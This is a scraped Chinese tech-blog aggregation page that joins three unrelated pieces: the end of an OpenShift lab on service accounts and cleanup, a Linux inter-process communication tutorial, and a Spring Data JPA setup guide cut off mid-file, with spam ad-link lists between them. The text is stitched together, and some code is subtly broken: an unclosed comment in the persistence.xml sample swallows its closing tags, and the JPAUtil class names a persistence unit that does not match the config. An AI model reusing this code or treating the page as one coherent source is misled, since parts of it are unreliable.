10.17 更新應用

  1 [student@workstation ~]$ oc patch dc phpmyadmin --patch='{"spec":{"template":{"spec":{"serviceAccountName": "phpmyadmin-account"}}}}'


#更新負責管理phpmyadmin的dc資源,任何開發人員用戶都可以執行此操作。

本環境中,相關操作命令可以從/home/student/DO280/labs/secure-review文件夾中的patch-dc.sh腳本運行或複製。

10.18 確認驗證

  1 [student@workstation ~]$ oc login -u user-review -p redhat
  2 [student@workstation ~]$ oc get pods			#確認pod是否正常
  3 NAME                 READY     STATUS    RESTARTS   AGE
  4 mysql-1-2lr7t        1/1       Running   0          13m
  5 phpmyadmin-2-bdjvq   1/1       Running   0          1m


10.19 暴露服務

  1 [student@workstation ~]$ oc expose svc phpmyadmin --hostname=phpmyadmin.apps.lab.example.com

10.20 訪問測試

  1 [student@workstation ~]$ curl -s http://phpmyadmin.apps.lab.example.com

10.21 確認及刪除

  1 [student@workstation ~]$ lab secure-review grade		#環境腳本判斷
  2 [student@workstation ~]$ oc login -u admin -p redhat
  3 [student@workstation ~]$ oc adm policy add-cluster-role-to-group \
  4 self-provisioner system:authenticated system:authenticated:oauth
  5 [student@workstation ~]$ oc delete project secure-review
  6 [student@workstation ~]$ ssh root@master htpasswd -D \
  7 /etc/origin/master/htpasswd user-review			#刪除用戶
  8 [student@workstation ~]$ oc delete user user-review		#刪除項目

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※教你寫出一流的銷售文案?

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※回頭車貨運收費標準

※別再煩惱如何寫文案,掌握八大原則!

※超省錢租車方案

※產品缺大量曝光嗎?你需要的是一流包裝設計!

Linux 進程間通信(IPC)總結

概述

一個大型的應用系統,往往需要眾多進程協作,進程(Linux進程概念見附1)間通信的重要性顯而易見。本系列文章闡述了 Linux 環境下的幾種主要進程間通信手段。

進程隔離

進程隔離是為保護操作系統中進程互不干擾而設計的一組不同硬件和軟件的技術。這個技術是為了避免進程A寫入進程B的情況發生。 進程的隔離實現,使用了虛擬地址空間。進程A的虛擬地址和進程B的虛擬地址不同,這樣就防止進程A將數據信息寫入進程B。

虛擬地址空間

當創建一個進程時,操作系統會為該進程分配一個 4GB 大小的虛擬進程地址空間。之所以是 4GB ,是因為在 32 位的操作系統中,一個指針長度是 4 字節,而 4 字節指針的尋址能力是從 0x00000000~0xFFFFFFFF ,最大值 0xFFFFFFFF 表示的即為 4GB 大小的容量。與虛擬地址空間相對的,還有一個物理地址空間,這個地址空間對應的是真實的物理內存。要注意的是這個 4GB 的地址空間是“虛擬”的,並不是真實存在的,而且每個進程只能訪問自己虛擬地址空間中的數據,無法訪問別的進程中的數據,通過這種方法實現了進程間的地址隔離。

針對 Linux 操作系統,將最高的1G字節(從虛擬地址 0xC0000000 到 0xFFFFFFFF )供內核使用,稱為內核空間,而較低的 3G 字節(從虛擬地址 0x00000000 到0xBFFFFFFF),供各個進程使用,稱為用戶空間。每個進程都可以通過系統調用進入到內核。其中在 Linux 系統中,進程的用戶空間是獨立的,而內核空間是共有的,進程切換時,用戶空間切換,內核空間不變

創建虛擬地址空間目的是為了解決進程地址空間隔離的問題。但程序要想執行,必須運行在真實的內存上,所以,必須在虛擬地址與物理地址間建立一種映射關係。這樣,通過映射機制,當程序訪問虛擬地址空間上的某個地址值時,就相當於訪問了物理地址空間中的另一個值。人們想到了一種分段、分頁的方法,它的思想是在虛擬地址空間和物理地址空間之間做一一映射。這種思想理解起來並不難,操作系統保證不同進程的地址空間被映射到物理地址空間中不同的區域上,這樣每個進程最終訪問到的物理地址空間都是彼此分開的。通過這種方式,就實現了進程間的地址隔離。

 

系統調用/內核態/用戶態

雖然從邏輯上抽離出用戶空間和內核空間;但是不可避免的的是,總有那麼一些用戶空間需要訪問內核的資源;比如應用程序訪問文件,網絡是很常見的事情,怎麼辦呢?

用戶空間訪問內核空間的唯一方式就是系統調用;通過這個統一入口接口,所有的資源訪問都是在內核的控制下執行,以免導致對用戶程序對系統資源的越權訪問,從而保障了系統的安全和穩定。用戶軟件良莠不齊,要是它們亂搞把系統玩壞了怎麼辦?因此對於某些特權操作必須交給安全可靠的內核來執行。

當一個任務(進程)執行系統調用而陷入內核代碼中執行時,我們就稱進程處於內核運行態(或簡稱為內核態)此時處理器處於特權級最高的(0級)內核代碼中執行。當進程在執行用戶自己的代碼時,則稱其處於用戶運行態(用戶態)。即此時處理器在特權級最低的(3級)用戶代碼中運行。處理器在特權等級高的時候才能執行那些特權CPU指令。

IPC 通信原理

理解了上面的幾個概念,我們再來看看進程之間是如何實現通信的。

通常的做法是消息發送方將要發送的數據存放在內存緩存區中,通過系統調用進入內核態。然後內核程序在內核空間分配內存,開闢一塊內核緩存區,調用 copy_from_user() 函數將數據從用戶空間的內存緩存區拷貝到內核空間的內核緩存區中。同樣的,接收方進程在接收數據時在自己的用戶空間開闢一塊內存緩存區,然後內核程序調用 copy_to_user() 函數將數據從內核緩存區拷貝到接收進程的內存緩存區。這樣數據發送方進程和數據接收方進程就完成了一次數據傳輸,我們稱完成了一次進程間通信。如下圖:

進程間通信方式

Linux 進程間基本的通信方式主要有:管道(pipe) (包括匿名管道和命名管道)、信號(signal)、消息隊列(queue)、共享內存、信號量和套接字。

管道

管道的實質是一個內核緩衝區(調用 pipe 函數來開闢),管道的作用正如其名,需要通信的兩個進程在管道的兩端,進程利用管道傳遞信息。管道對於管道兩端的進程而言,就是一個文件,但是這個文件比較特殊,它不屬於文件系統並且只存在於內存中。 Linux一切皆文件,操作系統為管道提供操作的方法:文件操作,用 fork 來共享管道原理。

管道依據是否有名字分為匿名管道和命名管道(有名管道),這兩種管道有一定的區別。

匿名管道有幾個重要的限制:

  1. 管道是半雙工的,數據只能在一個方向上流動,A進程傳給B進程,不能反向傳遞
  2. 管道只能用於父子進程或兄弟進程之間的通信,即具有親緣關係的進程。

命名管道允許沒有親緣關係的進程進行通信。命名管道不同於匿名管道之處在於它提供了一個路徑名與之關聯,這樣一個進程即使與創建有名管道的進程不存在親緣關係,只要可以訪問該路徑,就能通過有名管道互相通信。

pipe 函數接受一個參數,是包含兩個整數的數組,如果調用成功,會通過 pipefd[2] 傳出給用戶程序兩個文件描述符,需要注意 pipefd[0] 指向管道的讀端, pipefd[1] 指向管道的寫端,那麼此時這個管道對於用戶程序就是一個文件,可以通過 read(pipefd [0]);或者 write(pipefd [1]) 進行操作。pipe 函數調用成功返回 0,否則返回 -1.

那麼再來看看通過管道進行通信的步驟:

  • 父進程創建管道,得到兩個文件描述符指向管道的兩端
  • 利用fork函數創建齣子進程,則子進程也得到兩個文件描述符指向同一管道
  • 父進程關閉讀端(pipe[0]),子進程關閉寫端pipe[1],則此時父進程可以往管道中進行寫操作,子進程可以從管道中讀,從而實現了通過管道的進程間通信。

     

管道的特點:

  • 只能單向通信

兩個文件描述符,用一個,另一個不用,不用的文件描述符就要 close

  • 只能血緣關係的進程進行通信

  • 依賴於文件系統

  • 生命周期隨進程

  • 面向字節流的服務

面向字節流:數據無規則,沒有明顯邊界,收發數據比較靈活:對於用戶態,可以一次性發送也可以分次發送,當然接受數據也如此;而面向數據報:數據有明顯邊界,數據只能整條接受 

  • 管道內部提供了同步機制

臨界資源: 大家都能訪問到的共享資源

臨界區: 對臨界資源進行操作的代碼

同步: 臨界資源訪問的可控時序性(一個操作完另一個才可以操作)

互斥: 對臨界資源同一時間的唯一訪問性(保護臨界資源安全)

說明:因為管道通信是單向的,在上面的例子中我們是通過子進程寫父進程來讀,如果想要同時父進程寫而子進程來讀,就需要再打開另外的管道;

管道的讀寫端通過打開的文件描述符來傳遞,因此要通信的兩個進程必須從它們的公共祖先那裡繼承管道的件描述符。 上面的例子是父進程把文件描述符傳給子進程之後父子進程之 間通信,也可以父進程fork兩次,把文件描述符傳給兩個子進程,然後兩個子進程之間通信, 總之 需要通過fork傳遞文件描述符使兩個進程都能訪問同一管道,它們才能通信。

四個特殊情況:

  1. 如果所有指向管道寫端的文件描述符都關閉了,而仍然有進程從管道的讀端讀數據,那麼管道中剩餘的數據都被讀取后,再次read會返回0,就像讀到文件末尾一樣

  2. 如果有指向管道寫端的文件描述符沒關閉,而持有管道寫端的進程也沒有向管道中寫數據,這時有進程從管道讀端讀數據,那麼管道中剩餘的數據都被讀取后,再次read會阻塞,直到管道中有數據可讀了才讀取數據並返回。

  3. 如果所有指向管道讀端的文件描述符都關閉了,這時有進程指向管道的寫端write,那麼該進程會收到信號SIGPIPE,通常會導致進程異常終止。

  4. 如果有指向管道讀端的文件描述符沒關閉,而持有管道寫端的進程也沒有從管道中讀數據,這時有進程向管道寫端寫數據,那麼在管道被寫滿時再write會阻塞,直到管道中有空位置了才寫入數據並返回。

命名管道FIFO

在管道中,只有具有血緣關係的進程才能進行通信,對於後來的命名管道,就解決了這個問題。FIFO 不同於管道之處在於它提供一個路徑名與之關聯,以 FIFO 的文件形式存儲於文件系統中。命名管道是一個設備文件,因此,即使進程與創建FIFO的進程不存在親緣關係,只要可以訪問該路徑,就能夠通過 FIFO 相互通信。值得注意的是, FIFO (first input first output) 總是按照先進先出的原則工作,第一個被寫入的數據將首先從管道中讀出。

命名管道的創建

創建命名管道的系統函數有兩個: mknod 和 mkfifo。兩個函數均定義在頭文件 sys/stat.h,
函數原型如下:

#include <sys/types.h>
#include <sys/stat.h>
int mknod(const char *path,mode_t mod,dev_t dev);
int mkfifo(const char *path,mode_t mode);

函數 mknod 參數中 path 為創建的命名管道的全路徑名: mod 為創建的命名管道的模指明其存取權限; dev 為設備值,該值取決於文件創建的種類,它只在創建設備文件時才會用到。這兩個函數調用成功都返回 0,失敗都返回 -1。

命名管道打開特性:

  1. 如果用只讀打開命名管道,open 函數將阻塞等待直至有其他進程以寫的方式打開這個命名管道,如果沒有進程以寫的方式發開這個命名管道,程序將停在此處

  2. 如果用只寫打開命名管道,open 函數將阻塞等到直至有其他進程以讀的方式打開這個命名管道,如果沒有進程以讀的方式發開這個命名管道,程序將停在此處;

  3. 如果用讀寫打開命名管道,則不會阻塞(但是管道是單向)

System V IPC   

IPC(Inter-Process Communication)是指多個進程之間相互通信,交換信息的方法,System V 是 Unix 操作系統最早的商業發行版,由 AT&T(American Telephone & Telegraph)開發。System V IPC 是指 Linux 引入自 System V 的進程通信機制,一共有三種:

  • 信號量,用來管理對共享資源的訪問;

  • 共享內存,用來高效地實現進程間的數據共享;

  • 消息隊列,用來實現進程間數據的傳遞。

這三種統稱 IPC 資源,每個 IPC 資源都是請求時動態創建的,都是永駐內存,除非被進程显示釋放,都是可以被任一進程使用。每個 IPC 資源都使用一個 32 位的 IPC 關鍵字和 32 位的 IPC 標識符,前者類似文件系統中的路徑名,由程序自由定製,後者類似打開文件的文件描述符,由內核統一分配,在系統內部是唯一的,當多個進程使用同一個IPC資源通信時需要該資源的 IPC 標識符。     

創建新的 IPC 資源時需要指定 IPC 關鍵字,如果沒有與之關聯的 IPC 資源,則創建一個新的 IPC 資源;如果已經存在,則判斷當前進程是否具有訪問權限,是否超過資源使用限制等,如果符合條件則返回該資源的 IPC 標識符。為了避免兩個不同的 IPC 資源使用相同的 IPC 關鍵字,創建時可以指定IPC關鍵字為 IPC_PRIVATE,由內核負責生成一個唯一的關鍵字。   

創建新的 IPC 資源時最後一個參數可以包括三個標誌,PC_CREAT 說明如果IPC資源不存在則必須創建它,IPC_EXCL 說明如果資源已經存在且設置了 PC_CREAT 標誌則創建失敗,IPC_NOWAIT 說明訪問 IPC 資源時進程從不阻塞。 

信號量

信號量(semaphore)是一種用於提供不同進程之間或者一個給定的不同線程間同步手段的原語。信號量多用於進程間的同步與互斥,簡單的說一下同步和互斥的意思:

同步:處理競爭就是同步,安排進程執行的先後順序就是同步,每個進程都有一定的先後執行順序。

互斥:互斥訪問不可共享的臨界資源,同時會引發兩個新的控制問題(互斥可以說是特殊的同步)。

競爭:當併發進程競爭使用同一個資源的時候,我們就稱為競爭進程。

共享資源通常分為兩類:一類是互斥共享資源,即任一時刻只允許一個進程訪問該資源;另一類是同步共享資源,即同一時刻允許多個進程訪問該資源;信號量是解決互斥共享資源的同步問題而引入的機制。

下面說一下信號量的工作機制,可以直接理解成計數器(當然其實加鎖的時候肯定不能這麼簡單,不只只是信號量了),信號量會有初值(>0),每當有進程申請使用信號量,通過一個 P 操作來對信號量進行-1操作,當計數器減到 0 的時候就說明沒有資源了,其他進程要想訪問就必須等待(具體怎麼等還有說法,比如忙等待或者睡眠),當該進程執行完這段工作(我們稱之為臨界區)之後,就會執行 V 操作來對信號量進行 +1 操作。

  • 臨界區:臨界區指的是一個訪問共用資源(例如:共用設備或是共用存儲器)的程序片段,而這些共用資源又無法同時被多個線程訪問的特性。

  • 臨界資源:只能被一個進程同時使用(不可以多個進程共享),要用到互斥。

我們可以說信號量也是進程間通信的一種方式,比如互斥鎖的簡單實現就是信號量,一個進程使用互斥鎖,並通知(通信)其他想要該互斥鎖的進程,阻止他們的訪問和使用。

當有進程要求使用共享資源時,需要執行以下操作:

  1. 系統首先要檢測該資源的信號量;

  2. 若該資源的信號量值大於 0,則進程可以使用該資源,此時,進程將該資源的信號量值減1;

  3. 若該資源的信號量值為 0,則進程進入休眠狀態,直到信號量值大於 0 時進程被喚醒,訪問該資源;

       當進程不再使用由一個信號量控制的共享資源時,該信號量值增加 1,如果此時有進程處於休眠狀態等待此信號量,則該進程會被喚醒

每個信號量集都有一個與其相對應的結構,該結構定義如下:

/* Data structure describing a set of semaphores.  */  
struct semid_ds  
{  
    struct ipc_perm sem_perm;   /* operation permission struct */  
    struct sem *sem_base;       /* ptr to array of semaphores in set */  
    unsigned short sem_nsems;   /* # of semaphores in set */  
    time_t sem_otime;           /* last-semop() time */  
    time_t sem_ctime;           /* last-change time */  
};  
  
/* Data structure describing each of semaphores.  */  
struct sem  
{  
    unsigned short semval;  /* semaphore value, always >= 0 */  
    pid_t          sempid;  /* pid for last successful semop(), SETVAL, SETALL */  
    unsigned short semncnt; /* # processes awaiting semval > curval */  
    unsigned short semzcnt; /* # processes awaiting semval == 0 */  
};  

信號量集的結構圖如下所示:

消息隊列

消息隊列,是消息的鏈接表,存放在內核中。一個消息隊列由一個標識符(即隊列 ID)來標識。其具有以下特點:

  1. 消息隊列是面向記錄的,其中的消息具有特定的格式以及特定的優先級。

  2. 消息隊列獨立於發送與接收進程。進程終止時,消息隊列及其內容並不會被刪除。

  3. 消息隊列可以實現消息的隨機查詢,消息不一定要以先進先出的次序讀取,也可以按消息的類型讀取。

原型

1 #include <sys/msg.h>
2 // 創建或打開消息隊列:成功返回隊列ID,失敗返回-1
3 int msgget(key_t key, int flag);
4 // 添加消息:成功返回0,失敗返回-1
5 int msgsnd(int msqid, const void *ptr, size_t size, int flag);
6 // 讀取消息:成功返回消息數據的長度,失敗返回-1
7 int msgrcv(int msqid, void *ptr, size_t size, long type,int flag);
8 // 控制消息隊列:成功返回0,失敗返回-1
9 int msgctl(int msqid, int cmd, struct msqid_ds *buf);

在以下兩種情況下,msgget 將創建一個新的消息隊列:

  • 如果沒有與鍵值key相對應的消息隊列,並且flag中包含了IPC_CREAT標誌位。

  • key參數為IPC_PRIVATE

函數msgrcv在讀取消息隊列時,type參數有下面幾種情況:

  • type == 0,返回隊列中的第一個消息;

  • type > 0,返回隊列中消息類型為 type 的第一個消息;

  • type < 0,返回隊列中消息類型值小於或等於 type 絕對值的消息,如果有多個,則取類型值最小的消息。

可以看出,type 值非 0 時用於以非先進先出次序讀消息。也可以把 type 看做優先級的權值。

共享內存

共享內存是 System V 版本的最後一個進程間通信方式。共享內存,顧名思義就是允許兩個不相關的進程訪問同一個邏輯內存,共享內存是兩個正在運行的進程之間共享和傳遞數據的一種非常有效的方式。不同進程之間共享的內存通常為同一段物理內存。進程可以將同一段物理內存連接到他們自己的地址空間中,所有的進程都可以訪問共享內存中的地址。如果某個進程向共享內存寫入數據,所做的改動將立即影響到可以訪問同一段共享內存的任何其他進程。

特別提醒:共享內存並未提供同步機制,也就是說,在第一個進程結束對共享內存的寫操作之前,並無自動機制可以阻止第二個進程開始對它進行讀取,所以我們通常需要用其他的機制來同步對共享內存的訪問,例如信號量。

共享內存的通信原理
在 Linux 中,每個進程都有屬於自己的進程控制塊(PCB)和地址空間(Addr Space),並且都有一個與之對應的頁表,負責將進程的虛擬地址與物理地址進行映射,通過內存管理單元(MMU)進行管理。兩個不同的虛擬地址通過頁表映射到物理空間的同一區域,它們所指向的這塊區域即共享內存。

共享內存的通信原理示意圖:

 

對於上圖我的理解是:當兩個進程通過頁表將虛擬地址映射到物理地址時,在物理地址中有一塊共同的內存區,即共享內存,這塊內存可以被兩個進程同時看到。這樣當一個進程進行寫操作,另一個進程讀操作就可以實現進程間通信。但是,我們要確保一個進程在寫的時候不能被讀,因此我們使用信號量來實現同步與互斥。

對於一個共享內存,實現採用的是引用計數的原理,當進程脫離共享存儲區后,計數器減一,掛架成功時,計數器加一,只有當計數器變為零時,才能被刪除。當進程終止時,它所附加的共享存儲區都會自動脫離。

為什麼共享內存速度最快?

藉助上圖說明:Proc A 進程給內存中寫數據, Proc B 進程從內存中讀取數據,在此期間一共發生了兩次複製

(1)Proc A 到共享內存       (2)共享內存到 Proc B

因為直接在內存上操作,所以共享內存的速度也就提高了。

共享內存的接口函數以及指令

查看系統中的共享存儲段

ipcs -m

刪除系統中的共享存儲段

ipcrm -m [shmid]

shmget ( ):創建共享內存

int shmget(key_t key, size_t size, int shmflg);

[參數key]:由ftok生成的key標識,標識系統的唯一IPC資源。

[參數size]:需要申請共享內存的大小。在操作系統中,申請內存的最小單位為頁,一頁是4k字節,為了避免內存碎片,我們一般申請的內存大小為頁的整數倍。

[參數shmflg]:如果要創建新的共享內存,需要使用IPC_CREAT,IPC_EXCL,如果是已經存在的,可以使用IPC_CREAT或直接傳0。

[返回值]:成功時返回一個新建或已經存在的的共享內存標識符,取決於shmflg的參數。失敗返回-1並設置錯誤碼。

shmat ( ):掛接共享內存

void *shmat(int shmid, const void *shmaddr, int shmflg);

[參數shmid]:共享存儲段的標識符。

[參數*shmaddr]:shmaddr = 0,則存儲段連接到由內核選擇的第一個可以地址上(推薦使用)。

[參數shmflg]:若指定了SHM_RDONLY位,則以只讀方式連接此段,否則以讀寫方式連接此段。

[返回值]:成功返回共享存儲段的指針(虛擬地址),並且內核將使其與該共享存儲段相關的shmid_ds結構中的shm_nattch計數器加1(類似於引用計數);出錯返回-1。

shmdt ( ):去關聯共享內存:當一個進程不需要共享內存的時候,就需要去關聯。該函數並不刪除所指定的共享內存區,而是將之前用shmat函數連接好的共享內存區脫離目前的進程。

int shmdt(const void *shmaddr);

[參數*shmaddr]:連接以後返回的地址。

[返回值]:成功返回0,並將shmid_ds結構體中的 shm_nattch計數器減1;出錯返回-1。

shmctl ( ):銷毀共享內存

int shmctl(int shmid, int cmd, struct shmid_ds *buf);

[參數shmid]:共享存儲段標識符。

[參數cmd]:指定的執行操作,設置為IPC_RMID時表示可以刪除共享內存。

[參數*buf]:設置為NULL即可。

[返回值]:成功返回0,失敗返回-1。

POSIX 消息隊列   

POSIX 消息隊列是 POSIX 標準在 2001 年定義的一種 IPC 機制,與 System V 中的消息隊列相比有如下差異:

  • 更簡單的基於文件的應用接口,Linux 通過 mqueue 的特殊文件系統來實現消息隊列,隊列名跟文件名類似,必須以”/”開頭,每個消息隊列在文件系統內都有一個對應的索引節點,返回的隊列描述符實際是一個文件描述符

  • 完全支持消息優先級,消息在隊列中是按照優先級倒序排列的(即0表示優先級最低)。當一條消息被添加到隊列中時,它會被放置在隊列中具有相同優先級的所有消息之後。如果一個應用程序無需使用消息優先級,那麼只需要將msg_prio指定為0即可。

  • 完全支持消息到達的異步通知,當新消息到達且當前隊列為空時會通知之前註冊過表示接受通知的進程。在任何一個時刻都只有一個進程能夠向一個特定的消息隊列註冊接收通知。如果一個消息隊列上已經存在註冊進程了,那麼後續在該隊列上的註冊請求將會失敗。可以給進程發送信號或者另起一個線程調用通知函數完成通知。當通知完成時,註冊即被撤銷,進程需要繼續接受通知則必須重新註冊。

  • 用於阻塞發送與接收操作的超時機制,可以指定阻塞的最長時間,超時自動返回 

套接字:

套接字是更為基礎的進程間通信機制,與其他方式不同的是,套接字可用於不同機器之間的進程間通信。

有兩種類型的套接字:基於文件的和面向網絡的。

  • Unix 套接字是基於文件的,並且擁有一個“家族名字”–AF_UNIX,它代表地址家族 (address family):UNIX。

  • 第二類型的套接字是基於網絡的,它也有自己的家族名字–AF_INET,代表地址家族 (address family):INTERNET

不管採用哪種地址家族,都有兩種不同的套接字連接:面向連接的和無連接的。

  • 面向連接的套接字 (SOCK_STREAM):進行通信前必須建立一個連接,面向連接的通信提供序列化的、可靠地和不重複的數據交付,而沒有記錄邊界。

這意味着每條信息可以被拆分成多個片段,並且每個片段都能確保到達目的地,然後在目的地將信息拼接起來。

實現這種連接類型的主要協議是傳輸控制協議 (TCP)。

  • 無連接的套接字 (SOCK_DGRAM):在通信開始之前並不需要建立連接,在數據傳輸過程中並無法保證它的順序性、可靠性或重複性。

然而,數據報確實保存了記錄邊界,這就意味着消息是以整體發送的,而並非首先分成多個片段。

由於面向連接的套接字所提供的保證,因此它們的設置以及對虛擬電路連接的維護需要大量的開銷。然而,數據報不需要這些開銷,即它的成本更加“低廉”

實現這種連接類型的主要協議是用戶數據報協議 (UDP)。

信號

信號是軟件層次上對中斷機制的一種模擬,是一種異步通信方式,進程不必通過任何操作來等待信號的到達。信號可以在用戶空間進程和內核之間直接交互,內核可以利用信號來通知用戶空間的進程發生了哪些系統事件。

信號來源:

信號事件的發生有兩個來源:硬件來源,比如我們按下了鍵盤或者其它硬件故障;軟件來源,最常用發送信號的系統函數是 kill, raise, alarm 和 setitimer 以及 sigqueue 函數,軟件來源還包括一些非法運算等操作。

進程對信號的響應:

進程可以通過三種方式來響應信號:

  • 忽略信號,即對信號不做任何處理,但是有兩個信號是不能忽略的:SIGKLL 和 SIGSTOP;

  • 捕捉信號,定義信號處理函數,當信號發生時,執行相應的處理函數;

  • 執行缺省操作,Linux 對每種信號都規定了默認操作。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※超省錢租車方案

※別再煩惱如何寫文案,掌握八大原則!

※回頭車貨運收費標準

※教你寫出一流的銷售文案?

FB行銷專家,教你從零開始的技巧

Spring Data JPA

一、JPA概述:

  JPA的全稱是Java Persistence API, 即Java 持久化API,是SUN公司推出的一套基於ORM的規範,內部是由一系列的接口和抽象類構成。JPA通過JDK 5.0註解描述對象-關係表的映射關係,並將運行期的實體對象持久化到數據庫中。

  JPA的優勢:標準化、容器級特性的支持、簡單方便、查詢能力、高級特性

二、JPA與Hibernate的關係:

  JPA規範本質上就是一種ORM規範,注意不是ORM框架——因為JPA並未提供ORM實現,它只是制訂了一些規範,提供了一些編程的API接口,但具體實現則由服務廠商來提供實現。JPAHibernate的關係就像JDBCJDBC驅動的關係,JPA是規範,Hibernate除了作為ORM框架之外,它也是一種JPA實現。

 

 

 

三、JPA環境搭建:

1、創建一個maven工程,在pom.xml中導入對應的坐標

 1    <properties>
 2         <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
 3         <project.hibernate.version>5.0.7.Final</project.hibernate.version>
 4     </properties>
 5 
 6     <dependencies>
 7         <!-- junit -->
 8         <dependency>
 9             <groupId>junit</groupId>
10             <artifactId>junit</artifactId>
11             <version>4.12</version>
12             <scope>test</scope>
13         </dependency>
14 
15         <!-- hibernate對jpa的支持包 -->
16         <dependency>
17             <groupId>org.hibernate</groupId>
18             <artifactId>hibernate-entitymanager</artifactId>
19             <version>${project.hibernate.version}</version>
20         </dependency>
21 
22         <!-- c3p0 -->
23         <dependency>
24             <groupId>org.hibernate</groupId>
25             <artifactId>hibernate-c3p0</artifactId>
26             <version>${project.hibernate.version}</version>
27         </dependency>
28 
29         <!-- log日誌 -->
30         <dependency>
31             <groupId>log4j</groupId>
32             <artifactId>log4j</artifactId>
33             <version>1.2.17</version>
34         </dependency>
35 
36         <!-- Mysql and MariaDB -->
37         <dependency>
38             <groupId>mysql</groupId>
39             <artifactId>mysql-connector-java</artifactId>
40             <version>5.1.6</version>
41         </dependency>
42     </dependencies>

2、編寫實體類和數據表的映射配置,創建實體類以後,使用對應的註釋配置映射關係

     @Entity
            作用:指定當前類是實體類。
        @Table
            作用:指定實體類和表之間的對應關係。
            屬性:
                name:指定數據庫表的名稱
        @Id
            作用:指定當前字段是主鍵。
        @GeneratedValue
            作用:指定主鍵的生成方式。。
            屬性:
                strategy :指定主鍵生成策略。
        @Column
            作用:指定實體類屬性和數據庫表之間的對應關係
            屬性:
                name:指定數據庫表的列名稱。
                unique:是否唯一  
                nullable:是否可以為空  
                inserttable:是否可以插入  
                updateable:是否可以更新  
                columnDefinition: 定義建表時創建此列的DDL  
                secondaryTable: 從表名。如果此列不建在主表上(默認建在主表),該屬性定義該列所在從表的名字搭建開發環境[重點]

3、配置JPA的核心配置文件

在java工程的src路徑下創建一個名為META-INF的文件夾,在此文件夾下創建一個名為persistence.xml的配置文件

<?xml version="1.0" encoding="UTF-8"?>
<persistence xmlns="http://java.sun.com/xml/ns/persistence"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://java.sun.com/xml/ns/persistence  
    http://java.sun.com/xml/ns/persistence/persistence_2_0.xsd"
    version="2.0">
    <!--配置持久化單元 
        name:持久化單元名稱 
        transaction-type:事務類型
             RESOURCE_LOCAL:本地事務管理 
             JTA:分佈式事務管理 -->
    <persistence-unit name="myJpa" transaction-type="RESOURCE_LOCAL">
        <!--配置JPA規範的服務提供商 -->
        <provider>org.hibernate.jpa.HibernatePersistenceProvider</provider>
        <properties>
            <!-- 數據庫驅動 -->
            <property name="javax.persistence.jdbc.driver" value="com.mysql.jdbc.Driver" />
            <!-- 數據庫地址 -->
            <property name="javax.persistence.jdbc.url" value="jdbc:mysql://localhost:3306/jpa" />
            <!-- 數據庫用戶名 -->
            <property name="javax.persistence.jdbc.user" value="root" />
            <!-- 數據庫密碼 -->
            <property name="javax.persistence.jdbc.password" value="111111" />

            <!--jpa提供者的可選配置:我們的JPA規範的提供者為hibernate,所以jpa的核心配置中兼容hibernate的配 -->
<property name="hibernate.show_sql" value="true" /> <property name="hibernate.format_sql" value="true" />
        
       <!--自動創建數據庫表:create(運行時創建表),update(如過有表則不創建表),none(不創建表) <property name="hibernate.hbm2ddl.auto" value="create" /> </properties> </persistence-unit> </persistence>

4、測試數據庫操作

通過調用EntityManager的方法完成獲取事務,以及持久化數據庫的操作

方法說明:    
    getTransaction : 獲取事務對象
    persist : 保存操作
    merge : 更新操作
    remove : 刪除操作
    find/getReference : 根據id查詢
 1 @Test
 2     public void test() {
 3         /**
 4          * 創建實體管理類工廠,藉助Persistence的靜態方法獲取
 5          *         其中傳遞的參數為持久化單元名稱,需要jpa配置文件中指定
 6          */
 7         EntityManagerFactory factory = Persistence.createEntityManagerFactory("myJpa");
 8         //創建實體管理類
 9         EntityManager em = factory.createEntityManager();
10         //獲取事務對象
11         EntityTransaction tx = em.getTransaction();
12         //開啟事務
13         tx.begin();
14         Customer c = new Customer();
15         c.setCustName("天地壹號");
16         //保存操作
17         em.persist(c);
18         //提交事務
19         tx.commit();
20         //釋放資源
21         em.close();
22         factory.close();
23     }

6、抽取JPAUtil工具類,通過工具類生成實體類管理器對象

package top.biyenanhai.dao;

import javax.persistence.EntityManager;
import javax.persistence.EntityManagerFactory;
import javax.persistence.Persistence;

public final class JPAUtil {
    // JPA的實體管理器工廠:相當於Hibernate的SessionFactory
    private static EntityManagerFactory em;
    // 使用靜態代碼塊賦值
    static {
        // 注意:該方法參數必須和persistence.xml中persistence-unit標籤name屬性取值一致
        em = Persistence.createEntityManagerFactory("myPersistUnit");
    }

    /**
     * 使用管理器工廠生產一個管理器對象
     * 
     * @return
     */
    public static EntityManager getEntityManager() {
        return em.createEntityManager();
    }
}

 

三、Spring Data JPA概述:

  Spring Data JPA 是 Spring 基於 ORM 框架、JPA 規範的基礎上封裝的一套JPA應用框架,可使開發者用極簡的代碼即可實現對數據庫的訪問和操作。它提供了包括增刪改查等在內的常用功能,且易於擴展!學習並使用 Spring Data JPA 可以極大提高開發效率!Spring Data JPA 讓我們解脫了DAO層的操作,基本上所有CRUD都可以依賴於它來實現,在實際的工作工程中,推薦使用Spring Data JPA + ORM(如:hibernate)完成操作,這樣在切換不同的ORM框架時提供了極大的方便,同時也使數據庫層操作更加簡單,方便解耦。

四、Spring Data JPA 與 JPA和hibernate之間的關係:

  JPA是一套規範,內部是有接口和抽象類組成的。hibernate是一套成熟的ORM框架,而且Hibernate實現了JPA規範,所以也可以稱hibernate為JPA的一種實現方式,我們使用JPA的API編程,意味着站在更高的角度上看待問題(面向接口編程)。Spring Data JPA是Spring提供的一套對JPA操作更加高級的封裝,是在JPA規範下的專門用來進行數據持久化的解決方案。

五、Spring Data JPA快速搭建開發環境:

1、創建maven工程,導入Spring Data JPA的坐標

  1    <properties>
  2         <spring.version>4.2.4.RELEASE</spring.version>
  3         <hibernate.version>5.0.7.Final</hibernate.version>
  4         <slf4j.version>1.6.6</slf4j.version>
  5         <log4j.version>1.2.12</log4j.version>
  6         <c3p0.version>0.9.1.2</c3p0.version>
  7         <mysql.version>5.1.6</mysql.version>
  8     </properties>
  9 
 10     <dependencies>
 11         <!-- junit單元測試 -->
 12         <dependency>
 13             <groupId>junit</groupId>
 14             <artifactId>junit</artifactId>
 15             <version>4.12</version>
 16             <scope>test</scope>
 17         </dependency>
 18         
 19         <!-- spring beg -->
 20         <dependency>
 21             <groupId>org.aspectj</groupId>
 22             <artifactId>aspectjweaver</artifactId>
 23             <version>1.6.8</version>
 24         </dependency>
 25 
